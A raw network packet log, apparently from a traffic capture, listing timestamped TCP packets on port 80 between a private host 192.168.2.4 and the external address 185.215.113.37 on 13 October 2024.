Oct 13, 2024 06:54:08.347891092 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.347896099 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.347930908 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.347964048 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.347985983 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.347985983 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.347985983 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.348016024 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.348330021 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.348362923 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.348413944 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.348444939 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.348478079 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.348509073 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.348542929 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.348560095 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.348560095 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.348560095 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.348560095 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.348560095 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.348561049 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.348577023 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.348597050 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.348649025 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.348845005 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.348896027 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.348946095 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.348961115 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.348961115 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.348979950 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.349030018 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.349034071 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.349034071 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.349064112 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.349100113 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.349128008 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.349128008 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.349133968 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.349148989 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.349168062 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.349200964 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.349232912 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.349267006 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.349298954 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.349314928 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.349314928 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.349314928 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.349314928 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.349314928 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.349823952 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.349828959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.349889040 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.349936962 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.349955082 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.349987984 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.350020885 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.350025892 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.350025892 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.350043058 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.350054979 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.350087881 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.350121021 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.350145102 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.350145102 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.350145102 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.350155115 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.350176096 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.350188971 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.350213051 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.350223064 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.350250006 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.350256920 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.350291967 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.350359917 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.350359917 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.350359917 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.350768089 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.350881100 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.350914001 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.350946903 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.350996017 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.351006985 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.351006985 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.351006985 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.351006985 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.351027966 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.351061106 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.351093054 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.351123095 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.351155043 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.351186991 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.351210117 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.351210117 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.351210117 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.351211071 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.351211071 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.351211071 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.351221085 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.351242065 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.351257086 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.351280928 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.351320982 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.351772070 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.351825953 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.351835966 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.351876020 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.351897001 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.351910114 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.351934910 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.351943970 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.351957083 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.351978064 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.352005005 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.352010965 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.352086067 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.352086067 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.399230003 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.399265051 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.399296999 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.399316072 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.399316072 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.399343014 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.434988022 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.435019970 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.435054064 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.435056925 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.435085058 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.435097933 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.435106039 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.435137033 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.435168028 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.435200930 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.435230970 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.435234070 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.435256958 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.435256958 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.435287952 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.470942020 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.470977068 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.471009970 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.471033096 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.471033096 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.471059084 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.471093893 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.471118927 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.471118927 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.471122026 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.471155882 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.471205950 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.471219063 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.471219063 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.471219063 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.471240044 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.471291065 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.471292973 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.471292973 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.471324921 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.471354008 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.471358061 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.471381903 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.471411943 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.471422911 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.471447945 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.471482992 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.471513987 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.471546888 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.471579075 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.471606970 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.471606970 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.471606970 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.471606970 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.471606970 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.471631050 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.471664906 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.471697092 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.471730947 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.471762896 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.471786022 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.471786022 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.471786022 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.471786022 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.471786022 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.471807957 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.471815109 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.471848965 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.471899033 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.471905947 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.471905947 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.471931934 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.471966028 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.471971989 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.472002029 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.472003937 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.472038984 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.472071886 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.472101927 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.472101927 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.472101927 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.472138882 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.472188950 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.472239971 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.472273111 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.472306013 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.472309113 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.472309113 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.472309113 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.472309113 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.472327948 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.472338915 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.472358942 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.472373962 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.472405910 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.472434044 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.472434044 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.472440958 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.472466946 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.472470045 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.472506046 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.472543001 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.472543001 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.472553015 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.472557068 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.472589970 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.472623110 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.472655058 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.472687960 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.472744942 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.472745895 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.472745895 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.472745895 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.472745895 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.472768068 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.472819090 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.472851992 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.472875118 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.472875118 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.472888947 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.472922087 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.472954988 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.472986937 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.473010063 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.473010063 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.473010063 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.473010063 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.473018885 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.473059893 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.473290920 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.473290920 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.473290920 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.476989985 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.477041006 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.477073908 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.477104902 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.477112055 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.477112055 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.477128029 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.477159977 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.477165937 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.477210999 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.477245092 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.477276087 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.477308989 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.477340937 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.477366924 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.477366924 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.477366924 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.477366924 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.477366924 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.477391005 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.477426052 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.477458954 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.477492094 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.477504969 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.477505922 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.477505922 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.477540970 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.477547884 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.477547884 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.477596045 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.477598906 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.477629900 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.477660894 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.477677107 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.477677107 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.477693081 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.477719069 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.477727890 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.477757931 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.477761030 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.477808952 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.477818012 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.477857113 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.477857113 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.477860928 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.477912903 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.477943897 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.477947950 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.477969885 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.477998018 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.478030920 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.478064060 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.478101969 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.478133917 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.478157997 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.478157997 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.478157997 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.478157997 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.478166103 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.478173971 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.478207111 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.478240967 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.478262901 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.478281021 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.478315115 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.478347063 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.478355885 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.478360891 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.478362083 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.478390932 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.478410959 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.478441954 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.478477001 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.478508949 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.478528023 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.478528023 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.478528023 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.478540897 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.478574991 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.478594065 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.478594065 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.478606939 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.478641033 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.478660107 CEST	49730	80	192.168.2.4	185.215.113.37
